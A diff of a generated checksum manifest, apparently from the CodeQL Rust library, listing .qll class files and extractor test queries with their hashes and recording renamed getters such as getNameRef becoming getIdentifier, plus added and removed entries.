 lib/codeql/rust/elements/internal/generated/Unextracted.qll 01563dfd769d6dc3c6b8a40d9a4dc0d99a3b6a0c6725c180d2bf4d7633929a17 a93ce90f8c03f4305e59de9c63f089fc7935298fc9a73d091d76933cf63e790c
 lib/codeql/rust/elements/internal/generated/Unimplemented.qll a3eb304781991bff1227de1e4422b68bf91e7b344e4f6c9e874b324e82a35e60 6bc4839fda3850a56dc993b79ef9ba921008395c8432b184e14438fba4566f21
-lib/codeql/rust/elements/internal/generated/Union.qll 06a602aa7c7097e72fff6ea33d8fb4debaf4023b64b765a3d388ffecc9fa43e4 60d72bd1273e624e36f6227925adc611f5de098081d4f455c32f5af4938ee45d
+lib/codeql/rust/elements/internal/generated/Union.qll 83b1ed06279e1f6baa1c2618e09f58a15b83c300837d0da3faf3b8f63cf15aa0 e9d877bb75231a36b3d32cf92a598593eeaf4f5100ac1fa172781bc5b9514349
 lib/codeql/rust/elements/internal/generated/Use.qll d42ccf3516a9f79ae8766f93ad5f09d3cdcd7b96844d4c9de64189b56018a7b4 70a9553a8f71f6cbfdd0f59a4b42292d13177613ceb0542436436e0ac2e1f8ee
 lib/codeql/rust/elements/internal/generated/UseBoundGenericArg.qll 69162794e871291545ea04f61259b2d000671a96f7ca129f7dd9ed6e984067c4 31de9ebc0634b38e2347e0608b4ea888892f1f2732a2892464078cd8a07b4ee8
 lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll 05dca015d922935887856f3a0d577dbcf5b8f82bc384bdc9c8c2d0106419716d fcee14ed4f7a639b1ba721bd390fc0cdbfdc7c759e3092aa462d466fe390de45
 lib/codeql/rust/elements/internal/generated/UseTree.qll 15b84e3a194959aef793cd0c16b3d2d21ee5822e2d26186b5d73f922325c2827 49c409a7b82c1099436fbe3bd041d35dcd23169d58d31fbd718f6deb96fb7318
 lib/codeql/rust/elements/internal/generated/UseTreeList.qll 829441cf309f008a6a9d2e784aa414ab4c11880a658f8ee71aa4df385cd2b6a8 ced82df94fea7a191f414f7e6496d13791d2f535046844b6f712a390663ac3d0
-lib/codeql/rust/elements/internal/generated/Variant.qll e40dbb23e07c5b70adc577efdf7a064e773207f216cad8fe8905882b1da9f4a9 13f7be36d043afcfc156d2c01bb828de882df69aa732f284aa76c5f00b063544
+lib/codeql/rust/elements/internal/generated/Variant.qll 6d85af18e730e3f88cb97cd40660437364d7718072567f871310abd617a1e6e5 da2a5edfeebf9b3e554cb866c5b32f9b122044194122640c97d9d07781215bd1
+lib/codeql/rust/elements/internal/generated/VariantDef.qll 3a579b21a13bdd6be8cddaa43a6aa0028a27c4e513caa003a6304e160fc53846 1ca1c41ed27660b17fbfb44b67aa8db087ea655f01bac29b57bb19fa259d07a2
 lib/codeql/rust/elements/internal/generated/VariantList.qll 4eb923ca341033c256ca9b8a8a5b4e14c7eac9d015be187fd97eeb25dfb1e18e e7865e975c35db49cd72cb8f9864797d3cfed16c3a675b5032b867ced2bbb405
 lib/codeql/rust/elements/internal/generated/Visibility.qll aba81820f30bed0fd2cd06831f7256af15ae32525b2a437896420b4cc067ea38 d6aed90b27124b812daf2ddd14b4e181277cbe638b4ccaab74e27681ac30e4ab
 lib/codeql/rust/elements/internal/generated/WhereClause.qll d6c8f72bbec5d71c024f0d365c1c5e474f4d24ded0d34c56c1f66b1e4a384e9d ed14311d140eee00d3b26a4972f53e20d5af1bddf88fb5618e7e2d3ae1d816f3
@@ -652,7 +658,7 @@ lib/codeql/rust/elements/internal/generated/WhileExpr.qll 7edf1f23fbf953a2baabcd
 lib/codeql/rust/elements/internal/generated/WildcardPat.qll d74b70b57a0a66bfae017a329352a5b27a6b9e73dd5521d627f680e810c6c59e 4b913b548ba27ff3c82fcd32cf996ff329cb57d176d3bebd0fcef394486ea499
 lib/codeql/rust/elements/internal/generated/YeetExpr.qll cac328200872a35337b4bcb15c851afb4743f82c080f9738d295571eb01d7392 94af734eea08129b587fed849b643e7572800e8330c0b57d727d41abda47930b
 lib/codeql/rust/elements/internal/generated/YieldExpr.qll 37e5f0c1e373a22bbc53d8b7f2c0e1f476e5be5080b8437c5e964f4e83fad79a 4a9a68643401637bf48e5c2b2f74a6bf0ddcb4ff76f6bffb61d436b685621e85
-lib/codeql/rust/elements.qll fd66034a77b69f4741ca1488e8d04879da800bfa8d55492747c2b49d71a8067b fd66034a77b69f4741ca1488e8d04879da800bfa8d55492747c2b49d71a8067b
+lib/codeql/rust/elements.qll 05fb894d008a9c0478d03fb1639ffc57516b67d9de7f7309331279512f630b4a 05fb894d008a9c0478d03fb1639ffc57516b67d9de7f7309331279512f630b4a
 test/extractor-tests/generated/Abi/Abi.ql 7f6e7dc4af86eca3ebdc79b10373988cd0871bd78b51997d3cffd969105e5fdd 2f936b6ca005c6157c755121584410c03e4a3949c23bee302fbe05ee10ce118f
 test/extractor-tests/generated/Abi/Abi_getAbiString.ql a496762fcec5a0887b87023bbf93e9b650f02e20113e25c44d6e4281ae8f5335 14109c7ce11ba25e3cd6e7f1b3fcb4cb00622f2a4eac91bfe43145c5f366bc52
 test/extractor-tests/generated/ArgList/ArgList.ql e412927756e72165d0e7c5c9bd3fca89d08197bbf760db8fb7683c64bb2229bc 043dba8506946fbb87753e22c387987d7eded6ddb963aa067f9e60ef9024d684
@@ -681,10 +687,10 @@ test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt b6cf5771fdbbe98
 test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1
 test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1
 test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1
-test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql 31b925ef046811d8f02253619b4346ed4998fc32230c025edd971d3167c15e39 f7974a74e5673a6d7665d48796561ca4b3231a06690d3544186078da467c86ff
+test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql e0bfc812d6bc06fcd820d67044831fbc7c6917e11f75565128c5a927c5706aa3 e4b765d91f1205ed818dc1143316aa642d968e7bcd65ed055579ab941c401637
 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql c81e25fd7885f13c0500e8f9b84195876e70f2b25ad604046f497818226c8542 62ac0e7c82da169c248e4f9e0e8f866d2f4e599b03a287c2bd407b95a5d9efc8
 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql 4d20375752c000aab8d2e4988fff1a5c95689d114c8d63f37b389b95000ee873 957e360a4eeefa2536958770a7d150fda610d1d45c09900dbe66e470e361e294
-test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql 0fbb10321c355b15a9fdb2022af254d9d50b084117e47abf4c03bacc6189c9dd 084624f77b21062822fd16441e0c05e7820140bd2e468aac624782f0c4474e26
+test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql 1d6d4031ed10dbe09ba8597d9ba5417c6b890b5b745e91bca12401459fc3c4e2 7da625c3a6eaf93b0ebd5d9863aad5fad45b1baf5df27d93d7f9c5d1fb76db13
 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getParamList.ql 586cb26683e522469a5094d359be4d8e5c6a3a74c1621a059bfcbbbedc0e34b4 84784b38c24313f3ffc88371421550922d9deb44d09ca7727ca77e892a672dc9
 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getRetType.ql 3e18791a74c12d93ac8f786aa76bd836876052837bb9f0b25222cde47c55e419 b53bb52ff98c1ca0ba09ffce034a97ddd86e32828df7acb9bf34e20c4fb19664
 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getReturnTypeSyntax.ql 37252b5cee5ae64c36612aea57a6766bd34254ae35b9774642a36a8222aecfe6 c1f587d52b39c8aa66b9e6e4f36f40bda17dfcd72714ff79a262af99f829f89d
@@ -750,6 +756,7 @@ test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.ql f25a4695e06a
 test/extractor-tests/generated/ContinueExpr/ContinueExpr.ql 971ccb238aec663855745fa2669d5f8973a4e6c76bacdf0deaf23522ec1cf80c 4e3ceb4c4cd833ad8311bb02e5cda18163082e341cd8a3def60734a53cca8929
 test/extractor-tests/generated/ContinueExpr/ContinueExpr_getAttr.ql acb261869d3b3c65e364e7b6fbd7afdf5305806d4417b05044beed9a81e66ea4 af35ce0aee87ddc7a0cd34be4a480c619940d036d5cecce0e4e1fcd75b7c553e
 test/extractor-tests/generated/ContinueExpr/ContinueExpr_getLifetime.ql 39dae9872d92fa9b15343c93da545c2b0e15b4f27f2296c200fd4611b68858d5 52a209022e3b83260b4ef5513ffbcc1ca1f7c21bad2c721a0d3698793d2161d2
+test/extractor-tests/generated/Crate/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1
 test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.ql 513d64b564f359e1022ae6f3d6d4a8ad637f595f01f29a6c2a167d1c2e8f1f99 0c7a7af6ee1005126b9ab77b2a7732821f85f1d2d426312c98206cbbedc19bb2
 test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.ql b20720ff0b147d55cea6f2de44d5bf297e79991eaf103938ccd7ab9d129e9656 eb8c9db2581cea00c29d7772de0b0a125be02c37092217a419f1a2b6a9711a6c
 test/extractor-tests/generated/Enum/Enum.ql ed518d828d8e2e4790849284de1d0d5e728dbc2fe5e9f187e8ebfa2d503efd5a 7092b963eb133371e1cbc09d45f8c2308d7093523140b351d67073a8d258643e
@@ -769,20 +776,20 @@ test/extractor-tests/generated/ExternBlock/ExternBlock_getAttr.ql 78ed6a2d31ccab
 test/extractor-tests/generated/ExternBlock/ExternBlock_getCrateOrigin.ql 5a2e0b546e17a998156f48f62e711c8a7b920d352516de3518dfcd0dfedde82d 1d11b8a790c943ef215784907ff2e367b13737a5d1c24ad0d869794114deaa32
 test/extractor-tests/generated/ExternBlock/ExternBlock_getExtendedCanonicalPath.ql 40d6ee4bcb77c2669e07cf8070cc1aadfca22a638412c8fcf35ff892f5393b0c e9782a3b580e076800a1ad013c8f43cdda5c08fee30947599c0c38c2638820d6
 test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.ql 2c2b29bdfdc3b27173c068cbaab9946b42053aa14cf371236b4b60ff2e723370 dfc20fc8ef81cdce6f0badd664ef3914d6d49082eb942b1da3f45239b4351e2f
-test/extractor-tests/generated/ExternCrate/ExternCrate.ql c4313ed4790d6c085f47d6c14b11bfa67f7758a1f160758a385bcfcd37284151 9a761086cd80a6fdb7a41f2f6887e1c0b8b3aa19ada0b1dcc74a57646338ecc9
+test/extractor-tests/generated/ExternCrate/ExternCrate.ql c6c673d6f533fc47b1a15aac0deb5675ba146c9b53e4575f01e97106969ef38e 5a4d9e6f4fdb689d9687f4e7eb392b184c84bad80eec5dad0da775af27028604
 test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql cbe8efdfdbe5d46b4cd28d0e9d3bffcf08f0f9a093acf12314c15b692a9e502e 67fe03af83e4460725f371920277186c13cf1ed35629bce4ed9e23dd3d986b95
 test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql c0bf9ba36beb93dc27cd1c688f18b606f961b687fd7a7afd4b3fc7328373dcfb 312da595252812bd311aecb356dd80f2f7dc5ecf77bc956e6478bbe96ec72fd9
 test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql 88e16e2bbef466cec43ace25716e354408b5289f9054eaafe38abafd9df327e3 83a69487e16d59492d44d8c02f0baf7898c88ed5fcf67c73ed89d80f00c69fe8
-test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql 4bbc210ed3114f355a36768fc8173dfb65bd683bdf47491a30890cf110a6fb2c cd9c1b52dd350337e946fb43243de1504f0ae44d81668dab3629f2b7c2651572
+test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql 6ce362fb4df37210ce491e2ef4e04c0899a67c7e15b746c37ef87a42b2b5d5f9 5209c8a64d5707e50771521850ff6deae20892d85a82803aad1328c2d6372d09
 test/extractor-tests/generated/ExternCrate/ExternCrate_getRename.ql 52007ef7745e7ceb394de73212c5566300eb7962d1de669136633aea0263afb2 da98779b9e82a1b985c1b1310f0d43c784e5e66716a791ac0f2a78a10702f34b
 test/extractor-tests/generated/ExternCrate/ExternCrate_getVisibility.ql d2c13d0c19a5ef81ca776f03a7259e743adbfa66ef440f7d402cd97391ecdfc4 c678f6ac0a075c1e0adc3768a344dbeebcf0d13e30878546094777e3fcdf92bd
 test/extractor-tests/generated/ExternItemList/ExternItemList.ql 7596986006fe1084815ad47b7e1cb77c4062a8c0432c2e6234c974b8632ead40 23c30ea01dba595e6e1bfa384f3570d32df4310ec2e8dbeb9a20afab9edbbfc0
 test/extractor-tests/generated/ExternItemList/ExternItemList_getAttr.ql f9560f441efc30b65ad88e3d3d323f40cbe3862c04a9c044fb2ca16edac4f3ca 18138daa285c73d40e5caa03791a6133b44429bff4e14cb1f223d487cf1648b4
 test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.ql 2f20a6a4f41babb7340dd366a8145bb7cc9ceb75812af8a6316d076a4eac3428 4f613a73604dfe3f0d32343156e8ae30f4295186ac4ef2f733c772e96821ffc4
-test/extractor-tests/generated/FieldExpr/FieldExpr.ql 1b45da610feb62cee42f7a3866e6a9396c1e4c880ce1a82f09892047090e1322 980eae97fdeff4b8b3b264080a3cbb320d3a2530960fa185108f665b4c2aee29
+test/extractor-tests/generated/FieldExpr/FieldExpr.ql bac5eb23ef2e6a69b3b898a486c2c498bd8a92233116224faaf9039225cf33bb 23a4a86b6235571b3af8a27ad88b4e163d9dc568a23b948d690662089c55e26b
 test/extractor-tests/generated/FieldExpr/FieldExpr_getAttr.ql 609c4f1e275d963cf93a364b5ec750de8cb4790abdaa710cb533ff13ab750a4e 8c2aa84b1ea6ef40a7ee39a2168baf1b88323bfbc6b9f184e7b39631765a48dd
-test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql 57df2d733faf3e3e30ae106d8423aab612ab0ddf8659da008e384130cf1e8023 1e240bee8e83dc26f78d2c55464ca1fb88d773691d47aee9a2182c90f57eb8f1
-test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql 8631f5e8bdd72443a1ee3d667ee9136a51ad49dfd206612a36b79686da1beb19 692aef607108b8e3eaa78b8c915f2fd1d310905f8fea770b9694722a9a2a6232
+test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql 747b7de5f2bc23f526e96611401c897d063625912dc90544a4c57e2732c0766a 1528b998f6480bb1fd089c0115137c3a39fcfabc73d30917784a5d7ed5ef2990
+test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql 61fcbae168878f655bb35e8f1af8536c82acf02068bf782e5abdb7b780136ef9 5716c109cfbc996e884a7fbba8800cb770930060cc5c4d70c0bd434e37f2bbcb
 test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.ql 277dc617dd193f414c777e85db358f6dc5ebd7c029ac321d92fc6f1036da6abf 2c1a245975852e010552b0e0157b0daac7137cb25aa059fa5cc3adb43544a52a
 test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getAbi.ql c4a7519f9ab86de609a0155d41a0fd6cdfab6bbd7ffc41f3d5ef49565bdb5825 a0404f9a702f007d78f24291e80e939ce3ed2b603e436998dd1337f978499137
 test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.ql e097544fa9a1c173a996f323a90aa2b82aa6f12f30cd602fbcf0d4bfaf136311 6b5f8a4e4bee41343d075561005442c89b2b16ba547226f54c060c206b0b9e26
@@ -938,11 +945,11 @@ test/extractor-tests/generated/Meta/Meta.ql 16f163f00ba2bbaa0a8c6f3f6710c860a8f6
 test/extractor-tests/generated/Meta/Meta_getExpr.ql ec9ec61f5be7d65c32775fb5c068daea04f9db7d875293ed99cc1b2481db041f 77a0c52f1cb6ddc8fdb294d637f9eda1b7301ffa3067f0fca6272d894f57d3ee
 test/extractor-tests/generated/Meta/Meta_getPath.ql aa9d4145a4e613c51b6e4637d57e3b7d0f66e0bb88f4ce959d598870814c06bb 2087e00686d502c0e2e89c88eae0fb354463576a9ae4101320981d3fd79b9078
 test/extractor-tests/generated/Meta/Meta_getTokenTree.ql 1051c27ffd0d9a20436d684fde529b9ff55abe30d50e1d575b0318951e75bd34 983975672d928fb907676628384c949731da9807bf0c781bb7ec749d25733d2d
-test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql 0149a2d174c72a530b39a5878e204cb6db7632935a5ceaf20e2b2363b67dfdf6 8284d9133c21136f89a04105c280efe736a782035235c6abc081f3d9a2616447
+test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql d141f5a2ef95019aa64e8cb384ab4a45e7a93c941b84ef2e14c13377f159e4db 47a68fc874af6cc9a4b278a5aab1633a9db17300fd7dbd6dbe193d48d99144bc
 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArgList.ql 180e0b1715f5cd2be0de01bff3d3a45594b495b8250748d40ff7108d6c85923d bdadcdbecca5891287a47b6dd6b2fda62e07457718aef39212503ab63bc17783
 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getAttr.ql 2ce876a04a159efce83b863dffc47fbb714b95daea2b91fa6fbb623d28eed9ec 7bca1cd0e8fbceec0e640afb6800e1780eff5b5b402e71b9b169c0ba26966f96
 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getGenericArgList.ql 655db9a0501b1ef20d604cc4cd9d708371781291443e8dec97b70ec2914601d2 2fc7df0eca22dcef2f9f5c86d37ee43452d372a4c0f9f4da0194828c82ba93e0
-test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql 9a4829a174388e818f0c63ee6b8bdf1b68beaab48f51734ec6cc14635d24001c f57c9cdaf5235aad604f60b53ce92e73946d03a085f95ed051a26683967be4ba
+test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql 13c08e67eda07ea9ddc6f22ab4fc7773185c0b700ae11d57b62e0c78a4dea2e3 cb812e282a77fa29c838ba939d342a29c360c263c5afa5aac4ad422a8176869b
 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getReceiver.ql 77407ac956c897ff7234132de1a825f1af5cfd0b6c1fd3a30f64fe08813d56db d80719e02d19c45bd6534c89ec7255652655f5680199854a0a6552b7c7793249
 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedCrateOrigin.ql c22504665900715e8a32dd47627111e8cef4ed2646f74a8886dead15fbc85bb5 d92462cf3cb40dcd383bcaffc67d9a43e840494df9d7491339cbd09a0a73427b
 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql 9e7bbb7ed60db49b45c3bdf8e01ec58de751889fc394f59ac33f9d6e98200aa1 c055d877e2ff0edc78cce6dd79c78b2881e7940889729cbb5c12e7029ddeb5a3
@@ -979,7 +986,7 @@ test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql 96f3db0ec4e71fd870619
 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql a96bb8b51d8c0c466afc1c076834fa16edf7e67fffe2f641799850dee43099a2 0e6c375e621b7a7756d39e8edd78b671e53d1aac757ac54a26747fe5259c5394
 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql 64fe4ea708bc489ba64ed845f63cfbcd57c1179c57d95be309db37eac2f5eb71 0f4cbbfdf39d89830b5249cabf26d834fc2310b8a9579c19383c90cb4333afb7
 test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1
-test/extractor-tests/generated/Path/Path.ql 2bdcd99b3b5ffc83ac47d8cc27a4561d616bcf06844f0c452c699cd10ee640ca 5a7d7ffb8b0c04d6a8cbb2a953761df8561b796c4372bef1bd55c359b2f19911
+test/extractor-tests/generated/Path/Path.ql 2b02325ab1739bf41bc5f50d56b1e9cc72fca4093b03f2bda193699121e64448 c4d44402696ce10175ad8286dbd78277fbb81e7e1b886c0c27d5b88a7509052e
 test/extractor-tests/generated/Path/PathExpr.ql 5039fe730998a561f51813a0716e18c7c1d36b6da89936e4cfbdb4ef0e895560 cd3ddf8ab93cd573381807f59cded7fb3206f1dbdff582490be6f23bed2d6f29
 test/extractor-tests/generated/Path/PathExpr_getAttr.ql 2ccac48cd91d86670c1d2742de20344135d424e6f0e3dafcc059555046f92d92 9b7b5f5f9e3674fad9b3a5bcd3cabc0dff32a95640da0fce6f4d0eb931f1757d
 test/extractor-tests/generated/Path/PathExpr_getPath.ql e7894071313a74166bdd31d7cd974037fcd5a7f0e92d5eec42833266196eb858 46a06e8a1207e7a0fa175cd4b61068e5fd6c43b5575b88986409f0ac2be64c51
@@ -989,9 +996,9 @@ test/extractor-tests/generated/Path/PathPat.ql 6b9d973009f1b4963c7c83b0f5051eda7
 test/extractor-tests/generated/Path/PathPat_getPath.ql 6c0c71c80a6e631ea7775ec8660b470ff6b264bab14a399606cf113b1fb190fc 8e34cbb4d064db929e94652e1901ec4f26affa71e30e556b7acdff71dd622cbb
 test/extractor-tests/generated/Path/PathPat_getResolvedCrateOrigin.ql f690fd9a8773e7c73b70f2d64ee919fef8eee243c5a315c4a6d2713d43ea0e43 f37817427c36cec14a2e07f99d3a32f37f3f27a8eafdf170749ec2780054729b
 test/extractor-tests/generated/Path/PathPat_getResolvedPath.ql 55df4541a7b0e82198acfcedd7dc99eb564908270e4fb2b032bf05e40fba6fef a5932d884903da901263f88644c8585a45045190d7204f630506c5aece798288
-test/extractor-tests/generated/Path/PathSegment.ql e75c820f7cf8c94cae72053ee3cadd6b60e342b78d03d310fa94f16a5776a096 b90af2408bbfc684f156ce053be91639f9f011c0aeff9a1f51a5865b285f6e66
+test/extractor-tests/generated/Path/PathSegment.ql 523ec635961b9aff465dd98a1e63f8e872e147943646ea7383af95c3fa5d8e42 29bd402ee76eaa080cd6fbf29ba9d9141cc9828f1d3ddf162da6534daed52c56
 test/extractor-tests/generated/Path/PathSegment_getGenericArgList.ql 8f6e67b3e316309f20e21d7e7944accf66b0256b76fa50ee9a714044c6ec8cea 15f10a701fc4d3f9fd6734da90790cdbc8a1ddd57bf52695740acedcb2e6e485
-test/extractor-tests/generated/Path/PathSegment_getNameRef.ql 799d284e2f9267d6bbe67aa7035e525ef347dc74cb3e2180e7b2171b5cb49674 592130bc2358989536abf62e8a261272c851483ede4f19783f7d61ffc1803e4b
+test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql 52fedfc7518d4646e5f90843806c70fcfde7e7af602846a4f1dd90c3a46c9229 a291e47676ee9d257ac76fd5e4088f5905ec5fefc77568038efa6c88d2116a85
 test/extractor-tests/generated/Path/PathSegment_getParenthesizedArgList.ql 0d5919b0a240678d84dc687de954ef6dc11fe4a20f54c56578c541c573bdf3f2 5d2094ad5c0b0b7f298260511c5072b129b121928394b27c49d39e69ba6a5870
 test/extractor-tests/generated/Path/PathSegment_getRetType.ql 36386a514bc925f5b17ad87afba9fef7986900c1b791732de061213c6e86743f f38bcee68c1da19e70bb1e1c4a4047c763a466f1b8ef2c4f65f8c724c0b58197
 test/extractor-tests/generated/Path/PathSegment_getReturnTypeSyntax.ql d1db51208a311c30af369ce2fdc3a3296e7d598b27bf4960b8b34622a9d9163b 561b1e38c6d8b301fdc016e1d012dd805fde1b42b0720c17d7b15535715047f2
@@ -999,8 +1006,8 @@ test/extractor-tests/generated/Path/PathSegment_getTraitTypeRepr.ql d7ea6ee3f6b7
 test/extractor-tests/generated/Path/PathSegment_getTypeRepr.ql d9d8ff43a55671616bd5b98ff2c03690ec2661817d19a61edcc4b37d23e312d0 b4dc0ae4d7f03c98c23312b358d214565b34c7a028ba8983826c6bf5c1177eeb
 test/extractor-tests/generated/Path/PathTypeRepr.ql c2e069acc5111088a7287d98b4bd4bf44bd79c5a786b275f7448ebafc3613500 6e016750e5fef92a98bc5cc60bfd40d85fbb5eb2d251b4d69ffe600813f81df0
 test/extractor-tests/generated/Path/PathTypeRepr_getPath.ql 49e96ea2aa482e3b80cb0e2d944055f8298f7fc55b36cea7468586c94bacf686 29b3c2140ac1bc6e0e6160140e292e2b84e13145c1553480e2a582cd7f7bd3fd
-test/extractor-tests/generated/Path/Path_getPart.ql 8aa45a0b58203ef1177166efbe1c2851faf4b4c9a453c83137f0c9298badcdbf b82d490d9b3a8237487cd5da8b3b6fc4aa477977b332a5c6539b3cd4e6d5b45b
 test/extractor-tests/generated/Path/Path_getQualifier.ql 9af95e22cdf3a65da6a41d93136aef4523db5ce81d38f6ed4bc613f1c68784d0 3102d9241a417a92c97a53ac56a7a8683463f1adc7a593cda1382c0d25b3f261
+test/extractor-tests/generated/Path/Path_getSegment.ql 475f344ee24a14468745d50922fdfd63f5d817f14cc041a184c2f8ec144a01dd 4f663c5c2b1e0cb8b9a8a0b2d8b5d81f12a3bf333c71ecbb43d9258f7dfe4ec7
 test/extractor-tests/generated/PrefixExpr/PrefixExpr.ql 44fb7174365c6deecdc22c720d84617c6e060c05d49c41c90433451588f8aa6f 871fab471c82fede3c36edc003f9decee5bb7844c016951d28be78d0c91487e5
 test/extractor-tests/generated/PrefixExpr/PrefixExpr_getAttr.ql fdad6ad5199435ded1e4a9ea6b246e76b904cd73a36aaa4780e84eef91741c5b 75d63940046e62c1efa1151b0cac45b5ec0bab5e39aec2e11d43f6c385e37984
 test/extractor-tests/generated/PrefixExpr/PrefixExpr_getExpr.ql 2d1d97f6277794871fbb032ea87ac30b1aa902a74cd874720156162057ea202e b1b9880fce07d66df7ec87f12189c37adf9f233a1d0b38a1b09808d052a95642
@@ -1016,38 +1023,6 @@ test/extractor-tests/generated/RangePat/RangePat.ql 97314b9a5543a7471d722ae188a6
 test/extractor-tests/generated/RangePat/RangePat_getEnd.ql 723eb5030ec52d3aa3650a3e2de6cc0195a0030630239b972235963320e0d808 2df3b1a6197c3abd43dc743fd09cbf55165e3191f2b49336777594541e5da96a
 test/extractor-tests/generated/RangePat/RangePat_getOperatorName.ql 564216b2342f56dc8c1aed6306f57b6dafb33de9e3ba337a840a8c077ce95933 2a76ec7a59bada29733a1515bc1ea8bedd37429d1694ca63c7a8fbf94098a4c7
 test/extractor-tests/generated/RangePat/RangePat_getStart.ql ad2066efa32fced2dd107031f2a9b9635c3c892e874870a4320522bae9309aa4 b4a8c57a838074e186b823938d1a9372153c193da6c839b5f242ca25c679e83f
-test/extractor-tests/generated/RecordExpr/RecordExpr.ql 220f7f766587dc9df1c6f81a1cda3d19d7d5e92a31c63752061297e1adf96bf0 792bbe4503adcb63f7ac0f11259bb60a8ce05538ba1676f141989a73ff4eb5c0
-test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.ql 2eb8f7591f08199d124732d7f2d7dd3e81792a52f8e6c90003aa0609923f8cb0 27e245224d6c9aa20023b418ce8dffff1293b50a0e10938932631fca7c559e78
-test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.ql 6d3d872eb64ff8cd7317190f9b2627d3fa6a74976e362cfb49e21c6623d63f82 d98b07f932ecb25a427e655017de47f951d3eabc4eedbc6f873571ce8921e9ff
-test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.ql 87d463c7950407c86783b9ccbcf6daa4f62f5fcb75bc20f1879bde9240281d4d 5659b4fb8b25cd998211aa3edb11188b3c487cabaf7a09989ce6fe0e4f67ba25
-test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.ql 0de885c7efdd257ee44d2c8a2ad91e419d604517471966059ddae321e80597b6 7977fb7a8c954733dbb5cf8378d6103688d16bc4c9b891c68098d0ec224429b4
-test/extractor-tests/generated/RecordExprField/RecordExprField.ql 62ee00e478fcf07421b5989943a487ecc0c99cf50ec87f05aabe89dfb03f2a32 ad7c6ce362032e18fc9950b885c4b7b5c907e6abd2af2d13ecef84eb980027fb
-test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.ql 789d20f8c0bb0e9567d3d9a0c0266a04841cda0dbdbe10af8c450d5a82bb289e 9036f5b0e7ddf301012f52f3919804382421061366d2a4f3a016e9783befec6d
-test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.ql 7dcb5cf0d04bcd62b655fa0626535526cdaa0f891845f4b22cb50fcf1ae3e511 a177db76e4e9583438fad9bfb1300fed9e812c1046c44dccd307bf3a46603a69
-test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.ql 4607b1adb0e25fc5314c108dab14c19aff5a35a6b16445ed64a82c01bb7f6086 0040f2b4dffb37b257fea9870b2ac742ea3c1f9dfdeff6f69b449f9a4a3719d7
-test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.ql b6cd65fc4fa687dc34d0848ff8c23d37088345f94902b5622b5411a62924441e 34fa8bccddf7ead18b1e597f49af008e4b244ff19d4b7f23d0777978c4d3f361
